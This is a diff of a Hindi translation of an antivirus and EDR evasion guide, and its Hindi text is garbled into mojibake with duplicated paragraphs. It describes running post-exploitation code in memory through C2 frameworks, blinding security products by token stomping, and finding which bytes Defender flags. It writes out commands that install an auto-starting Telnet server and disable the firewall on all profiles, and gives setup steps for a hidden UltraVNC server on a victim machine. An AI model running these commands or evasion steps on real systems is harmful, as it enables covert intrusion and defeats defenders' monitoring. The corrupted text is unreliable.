рдкреИрдЪ рдХрд░рдиреЗ рдХреА рдЪрд┐рдВрддрд╛ рдХрд░рдиреА рд╣реЛрдЧреАред рдЕрдзрд┐рдХрд╛рдВрд╢ C2 рдлреНрд░реЗрдорд╡рд░реНрдХ (sliver, Covenant, metasploit, CobaltStrike, Havoc, рдЖрджрд┐) рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдореЗрдореЛрд░реА рдореЗрдВ рд╕реАрдзреЗ C# рдЕрд╕реЗрдВрдмрд▓реА рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЗ рд╣реИрдВ: - **Fork\&Run** -рдЗрд╕рдореЗрдВ **рдПрдХ рдирдпрд╛ рдмрд▓рд┐рджрд╛рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛** рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЕрдкрдиреЗ рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЛ рдЙрд╕ рдирдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛, рдЕрдкрдиреЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рдФрд░ рдЬрдм рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рдП, рддреЛ рдирдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдорд╛рд░ рджреЗрдирд╛ред рдЗрд╕рдХреЗ рдЕрдкрдиреЗ рд▓рд╛рдн рдФрд░ рд╣рд╛рдирд┐ рд╣реИрдВред рдлреЛрд░реНрдХ рдФрд░ рд░рди рд╡рд┐рдзрд┐ рдХрд╛ рд▓рд╛рдн рдпрд╣ рд╣реИ рдХрд┐ рдирд┐рд╖реНрдкрд╛рджрди рд╣рдорд╛рд░реЗ рдмреАрдХрди рдЗрдореНрдкреНрд▓рд╛рдВрдЯ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ **рдмрд╛рд╣рд░** рд╣реЛрддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпрджрд┐ рд╣рдорд╛рд░реЗ рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдХреБрдЫ рдЧрд▓рдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдпрд╛ рдкрдХрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╣рдорд╛рд░реЗ **рдЗрдореНрдкреНрд▓рд╛рдВрдЯ рдХреЗ рдЬреАрд╡рд┐рдд рд░рд╣рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛** **рдмрд╣реБрдд рдЕрдзрд┐рдХ рд╣реИред** рд╣рд╛рдирд┐ рдпрд╣ рд╣реИ рдХрд┐ рдЖрдкрдХреЛ **рд╡реНрдпрд╡рд╣рд╛рд░рд╛рддреНрдордХ рдкрд╣рдЪрд╛рди** рджреНрд╡рд╛рд░рд╛ рдкрдХрдбрд╝реЗ рдЬрд╛рдиреЗ рдХреА **рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛** рд╣реИред +рдЗрд╕рдореЗрдВ **рдПрдХ рдирдпрд╛ рдмрд▓рд┐рджрд╛рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛** рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЕрдкрдиреЗ рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЛ рдЙрд╕ рдирдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛, рдЕрдкрдиреЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рдФрд░ рдЬрдм рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рдП, рддреЛ рдирдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рдирд╛ред рдЗрд╕рдХреЗ рдЕрдкрдиреЗ рд▓рд╛рдн рдФрд░ рд╣рд╛рдирд┐ рд╣реИрдВред рдлреЛрд░реНрдХ рдФрд░ рд░рди рд╡рд┐рдзрд┐ рдХрд╛ рд▓рд╛рдн рдпрд╣ рд╣реИ рдХрд┐ рдирд┐рд╖реНрдкрд╛рджрди рд╣рдорд╛рд░реЗ рдмреАрдХрди рдЗрдореНрдкреНрд▓рд╛рдВрдЯ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ **рдмрд╛рд╣рд░** рд╣реЛрддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпрджрд┐ рд╣рдорд╛рд░реЗ рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдХреБрдЫ рдЧрд▓рдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдпрд╛ рдкрдХрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╣рдорд╛рд░реЗ **рдЗрдореНрдкреНрд▓рд╛рдВрдЯ рдХреЗ рдЬреАрд╡рд┐рдд рд░рд╣рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдмрд╣реБрдд рдЕрдзрд┐рдХ рд╣реИред** рд╣рд╛рдирд┐ рдпрд╣ рд╣реИ рдХрд┐ рдЖрдкрдХреЛ **рд╡реНрдпрд╡рд╣рд╛рд░рд╛рддреНрдордХ рдкрд╣рдЪрд╛рди** рджреНрд╡рд╛рд░рд╛ рдкрдХрдбрд╝реЗ рдЬрд╛рдиреЗ рдХреА **рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛** рд╣реИред
- **Inline** -рдпрд╣ рдЕрдкрдиреЗ рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЛ **рдЕрдкрдиреЗ рд╣реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣реИред рдЗрд╕ рддрд░рд╣, рдЖрдк рдПрдХ рдирдпрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдмрдирд╛рдиреЗ рдФрд░ рдЙрд╕реЗ AV рджреНрд╡рд╛рд░рд╛ рд╕реНрдХреИрди рдХрд░рд╛рдиреЗ рд╕реЗ рдмрдЪ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╣рд╛рдирд┐ рдпрд╣ рд╣реИ рдХрд┐ рдпрджрд┐ рдЖрдкрдХреЗ рдкреЗрд▓реЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдореЗрдВ рдХреБрдЫ рдЧрд▓рдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЗ **рдмреАрдХрди рдХреЛ рдЦреЛрдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛** **рдмрд╣реБрдд рдЕрдзрд┐рдХ рд╣реИ** рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдХреНрд░реИрд╢ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +рдпрд╣ рдЕрдкрдиреЗ рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЛ **рдЕрдкрдиреЗ рд╣реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣реИред рдЗрд╕ рддрд░рд╣, рдЖрдк рдПрдХ рдирдпрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдмрдирд╛рдиреЗ рдФрд░ рдЙрд╕реЗ AV рджреНрд╡рд╛рд░рд╛ рд╕реНрдХреИрди рдХрд░рд╛рдиреЗ рд╕реЗ рдмрдЪ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╣рд╛рдирд┐ рдпрд╣ рд╣реИ рдХрд┐ рдпрджрд┐ рдЖрдкрдХреЗ рдкреЗрд▓реЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдореЗрдВ рдХреБрдЫ рдЧрд▓рдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЖрдкрдХреЗ **рдмреАрдХрди рдХреЛ рдЦреЛрдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдмрд╣реБрдд рдЕрдзрд┐рдХ рд╣реИ** рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдХреНрд░реИрд╢ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
@@ -280,38 +317,48 @@ C# рдмрд╛рдЗрдирд░реАрдЬрд╝ рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рд▓реЛрдб рдХрд░ рдЖрдк C# рдЕрд╕реЗрдВрдмрд▓реА рдХреЛ **PowerShell рд╕реЗ рднреА рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**, [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) рдФрд░ [S3cur3th1sSh1t рдХрд╛ рд╡реАрдбрд┐рдпреЛ](https://www.youtube.com/watch?v=oe11Q-3Akuk) рджреЗрдЦреЗрдВред -## Using Other Programming Languages +## рдЕрдиреНрдп рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рднрд╛рд╖рд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЬреИрд╕рд╛ рдХрд┐ [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins) рдореЗрдВ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдпрд╣ рдЕрдиреНрдп рднрд╛рд╖рд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рдордЭреМрддрд╛ рдХреА рдЧрдИ рдорд╢реАрди рдХреЛ **рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд SMB рд╢реЗрдпрд░ рдкрд░ рд╕реНрдерд╛рдкрд┐рдд рдЗрдВрдЯрд░рдкреНрд░реЗрдЯрд░ рд╡рд╛рддрд╛рд╡рд░рдг рддрдХ рдкрд╣реБрдВрдЪ** рдорд┐рд▓рддреА рд╣реИред -рдЗрдВрдЯрд░рдкреНрд░реЗрдЯрд░ рдмрд╛рдЗрдирд░реАрдЬрд╝ рдФрд░ SMB рд╢реЗрдпрд░ рдкрд░ рд╡рд╛рддрд╛рд╡рд░рдг рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рдХреЗ рдЖрдк **рд╕рдордЭреМрддрд╛ рдХреА рдЧрдИ рдорд╢реАрди рдХреА рдореЗрдореЛрд░реА рдореЗрдВ рдЗрди рднрд╛рд╖рд╛рдУрдВ рдореЗрдВ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред** +рдЗрдВрдЯрд░рдкреНрд░реЗрдЯрд░ рдмрд╛рдЗрдирд░реА рдФрд░ SMB рд╢реЗрдпрд░ рдкрд░ рд╡рд╛рддрд╛рд╡рд░рдг рддрдХ рдкрд╣реБрдВрдЪ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдХрд░ рдЖрдк **рдЗрди рднрд╛рд╖рд╛рдУрдВ рдореЗрдВ рд╕рдордЭреМрддрд╛ рдХреА рдЧрдИ рдорд╢реАрди рдХреА рдореЗрдореЛрд░реА рдореЗрдВ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред** -рд░реЗрдкреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ: рдбрд┐рдлреЗрдВрдбрд░ рдЕрднреА рднреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╕реНрдХреИрди рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди Go, Java, PHP рдЖрджрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ **рд╕реНрдерд┐рд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░реЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рд▓рдЪреАрд▓рд╛рдкрди рд╣реИред** рдЗрди рднрд╛рд╖рд╛рдУрдВ рдореЗрдВ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЕрди-рдСрдмрдлрд╕реНрдХреЗрдЯреЗрдб рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд╕рд╛рде рдкрд░реАрдХреНрд╖рдг рд╕рдлрд▓ рд╕рд╛рдмрд┐рдд рд╣реБрдЖ рд╣реИред +рд░реЗрдкреЛ рдореЗрдВ рд╕рдВрдХреЗрдд рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ: рдбрд┐рдлреЗрдВрдбрд░ рдЕрднреА рднреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╕реНрдХреИрди рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди Go, Java, PHP рдЖрджрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ **рд╕реНрдерд┐рд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░реЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рд▓рдЪреАрд▓рд╛рдкрди рд╣реИред** рдЗрди рднрд╛рд╖рд╛рдУрдВ рдореЗрдВ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЕрди-рдСрдмрдлрд╕реНрдХреЗрдЯреЗрдб рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд╕рд╛рде рдкрд░реАрдХреНрд╖рдг рд╕рдлрд▓ рд╕рд╛рдмрд┐рдд рд╣реБрдЖ рд╣реИред + +## TokenStomping + +Token stomping рдПрдХ рддрдХрдиреАрдХ рд╣реИ рдЬреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ **рдПрдХреНрд╕реЗрд╕ рдЯреЛрдХрди рдпрд╛ рд╕реБрд░рдХреНрд╖рд╛ рдЙрддреНрдкрд╛рдж рдЬреИрд╕реЗ EDR рдпрд╛ AV рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрдиреНрд╣реЗрдВ рдЗрд╕рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИ рддрд╛рдХрд┐ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рди рдорд░реЗ рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ рдкрд╛рд╕ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЧрддрд┐рд╡рд┐рдзрд┐рдпреЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рди рд╣реЛред + +рдЗрд╕рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП Windows **рдмрд╛рд╣рд░реА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ** рдХреЛ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдЯреЛрдХрди рдкрд░ рд╣реИрдВрдбрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХ рд╕рдХрддрд╛ рд╣реИред + +- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/) +- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp) +- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF) ## Advanced Evasion -рдПрд╡реЗрдЬрд╝рди рдПрдХ рдмрд╣реБрдд рдЬрдЯрд┐рд▓ рд╡рд┐рд╖рдп рд╣реИ, рдХрднреА-рдХрднреА рдЖрдкрдХреЛ рдПрдХ рд╣реА рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдХрдИ рд╡рд┐рднрд┐рдиреНрди рдЯреЗрд▓реАрдореЗрдЯреНрд░реА рд╕реНрд░реЛрддреЛрдВ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░рдирд╛ рдкрдбрд╝рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдкрд░рд┐рдкрдХреНрд╡ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЕрджреГрд╢реНрдп рд░рд╣рдирд╛ рд▓рдЧрднрдЧ рдЕрд╕рдВрднрд╡ рд╣реИред +Evasion рдПрдХ рдмрд╣реБрдд рдЬрдЯрд┐рд▓ рд╡рд┐рд╖рдп рд╣реИ, рдХрднреА-рдХрднреА рдЖрдкрдХреЛ рдПрдХ рд╣реА рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдХрдИ рд╡рд┐рднрд┐рдиреНрди рдЯреЗрд▓реАрдореЗрдЯреНрд░реА рд╕реНрд░реЛрддреЛрдВ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░рдирд╛ рдкрдбрд╝рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдкрд░рд┐рдкрдХреНрд╡ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЕрджреГрд╢реНрдп рд░рд╣рдирд╛ рд▓рдЧрднрдЧ рдЕрд╕рдВрднрд╡ рд╣реИред -рдЖрдк рдЬрд┐рд╕ рднреА рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рдЦрд┐рд▓рд╛рдл рдЬрд╛рддреЗ рд╣реИрдВ, рдЙрд╕рдХреЗ рдЕрдкрдиреЗ рддрд╛рдХрдд рдФрд░ рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рд╣реЛрдВрдЧреАред +рдЖрдк рдЬрд┐рд╕ рднреА рд╡рд╛рддрд╛рд╡рд░рдг рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рддреЗ рд╣реИрдВ, рдЙрд╕рдХреЗ рдЕрдкрдиреЗ рддрд╛рдХрдд рдФрд░ рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рд╣реЛрдВрдЧреАред -рдореИрдВ рдЖрдкрдХреЛ [@ATTL4S](https://twitter.com/DaniLJ94) рд╕реЗ рдЗрд╕ рдЯреЙрдХ рдХреЛ рджреЗрдЦрдиреЗ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХрд░рддрд╛ рд╣реВрдБ, рддрд╛рдХрд┐ рдЖрдк рдЕрдзрд┐рдХ рдЙрдиреНрдирдд рдПрд╡реЗрдЬрд╝рди рддрдХрдиреАрдХреЛрдВ рдореЗрдВ рдПрдХ рдкреИрд░ рд░рдЦ рд╕рдХреЗрдВред +рдореИрдВ рдЖрдкрдХреЛ [@ATTL4S](https://twitter.com/DaniLJ94) рд╕реЗ рдЗрд╕ рд╡рд╛рд░реНрддрд╛ рдХреЛ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЛрддреНрд╕рд╛рд╣рд┐рдд рдХрд░рддрд╛ рд╣реВрдБ, рддрд╛рдХрд┐ рдЖрдк рдЕрдзрд┐рдХ рдЙрдиреНрдирдд рдЗрд╡реЗрдЬрд╝рди рддрдХрдиреАрдХреЛрдВ рдореЗрдВ рдПрдХ рдкреИрд░ рдЬрдорд╛рдПрдБред {{#ref}} https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo {{#endref}} -рдпрд╣ [@mariuszbit](https://twitter.com/mariuszbit) рд╕реЗ рдПрд╡реЗрдЬрд╝рди рдЗрди рдбреЗрдкреНрде рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рдФрд░ рд╢рд╛рдирджрд╛рд░ рдЯреЙрдХ рд╣реИред +рдпрд╣ [@mariuszbit](https://twitter.com/mariuszbit) рд╕реЗ рдЗрд╡реЗрдЬрд╝рди рдЗрди рдбреЗрдкреНрде рдкрд░ рдПрдХ рдФрд░ рд╢рд╛рдирджрд╛рд░ рд╡рд╛рд░реНрддрд╛ рд╣реИред {{#ref}} https://www.youtube.com/watch?v=IbA7Ung39o4 {{#endref}} -## **Old Techniques** +## **рдкреБрд░рд╛рдиреА рддрдХрдиреАрдХреЗрдВ** -### **Check which parts Defender finds as malicious** +### **рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдбрд┐рдлреЗрдВрдбрд░ рдХреМрди рд╕реЗ рднрд╛рдЧреЛрдВ рдХреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдорд╛рдирддрд╛ рд╣реИ** -рдЖрдк [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **рдмрд╛рдЗрдирд░реА рдХреЗ рд╣рд┐рд╕реНрд╕реЛрдВ рдХреЛ рд╣рдЯрд╛ рджреЗрдЧрд╛** рдЬрдм рддрдХ рдХрд┐ рдпрд╣ **рдирд╣реАрдВ рдкрддрд╛ рдЪрд▓рддрд╛ рдХрд┐ рдбрд┐рдлреЗрдВрдбрд░** рдХрд┐рд╕ рд╣рд┐рд╕реНрд╕реЗ рдХреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдорд╛рдирддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдЖрдкрдХреЗ рд▓рд┐рдП рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░ рджреЗрдЧрд╛ред\ -рдПрдХ рдФрд░ рдЯреВрд▓ рдЬреЛ **рд╕рдорд╛рди рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ рд╡рд╣ рд╣реИ** [**avred**](https://github.com/dobin/avred) рдЬрд┐рд╕рдореЗрдВ [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) рдкрд░ рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред +рдЖрдк [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **рдмрд╛рдЗрдирд░реА рдХреЗ рднрд╛рдЧреЛрдВ рдХреЛ рд╣рдЯрд╛ рджреЗрдЧрд╛** рдЬрдм рддрдХ рдХрд┐ рдпрд╣ **рдирд╣реАрдВ рдкрддрд╛ рд▓рдЧрд╛ рд▓реЗрддрд╛ рдХрд┐ рдбрд┐рдлреЗрдВрдбрд░** рдХрд┐рд╕ рднрд╛рдЧ рдХреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдорд╛рдирддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдЖрдкрдХреЗ рд▓рд┐рдП рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░ рджреЗрдЧрд╛ред\ +рдПрдХ рдФрд░ рдЙрдкрдХрд░рдг рдЬреЛ **рд╕рдорд╛рди рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ рд╡рд╣ рд╣реИ** [**avred**](https://github.com/dobin/avred) рдЬрд┐рд╕рдореЗрдВ рдПрдХ рдУрдкрди рд╡реЗрдм рд╕реЗрд╡рд╛ рд╣реИ рдЬреЛ [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) рдореЗрдВ рд╕реЗрд╡рд╛ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред ### **Telnet Server** @@ -319,7 +366,7 @@ Windows10 рддрдХ, рд╕рднреА Windows рдореЗрдВ рдПрдХ **Telnet рд╕рд░реНрд╡рд░** ```bash pkgmgr /iu:"TelnetServer" /quiet ``` -рд╕рд┐рд╕реНрдЯрдо рд╢реБрд░реВ рд╣реЛрдиреЗ рдкрд░ рдЗрд╕реЗ **рд╢реБрд░реВ** рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдЕрднреА **рдЪрд▓рд╛рдПрдВ**: +рдЬрдм рд╕рд┐рд╕реНрдЯрдо рд╢реБрд░реВ рд╣реЛ, рддрдм рдЗрд╕реЗ **рд╢реБрд░реВ** рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдЕрднреА **рдЪрд▓рд╛рдПрдВ**: ```bash sc config TlntSVR start= auto obj= localsystem ``` @@ -332,23 +379,23 @@ netsh advfirewall set allprofiles state off рдЗрд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (рдЖрдкрдХреЛ рдмрд┐рди рдбрд╛рдЙрдирд▓реЛрдб рдЪрд╛рд╣рд┐рдП, рд╕реЗрдЯрдЕрдк рдирд╣реАрдВ) -**рд╣реЛрд╕реНрдЯ рдкрд░**: _**winvnc.exe**_ рдЪрд▓рд╛рдПрдБ рдФрд░ рд╕рд░реНрд╡рд░ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ: +**рд╣реЛрд╕реНрдЯ рдкрд░**: _**winvnc.exe**_ рдХреЛ рдЪрд▓рд╛рдПрдВ рдФрд░ рд╕рд░реНрд╡рд░ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ: -- рд╡рд┐рдХрд▓реНрдк _Disable TrayIcon_ рд╕рдХреНрд╖рдо рдХрд░реЗрдВ +- рд╡рд┐рдХрд▓реНрдк _Disable TrayIcon_ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░реЗрдВ - _VNC Password_ рдореЗрдВ рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб рд╕реЗрдЯ рдХрд░реЗрдВ - _View-Only Password_ рдореЗрдВ рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб рд╕реЗрдЯ рдХрд░реЗрдВ -рдлрд┐рд░, рдмрд╛рдЗрдирд░реА _**winvnc.exe**_ рдФрд░ **рдирдП** рдмрдирд╛рдП рдЧрдП рдлрд╝рд╛рдЗрд▓ _**UltraVNC.ini**_ рдХреЛ **рдкреАрдбрд╝рд┐рдд** рдХреЗ рдЕрдВрджрд░ рд▓реЗ рдЬрд╛рдПрдБ +рдлрд┐рд░, рдмрд╛рдЗрдирд░реА _**winvnc.exe**_ рдФрд░ **рдирдП** рдмрдирд╛рдП рдЧрдП рдлрд╝рд╛рдЗрд▓ 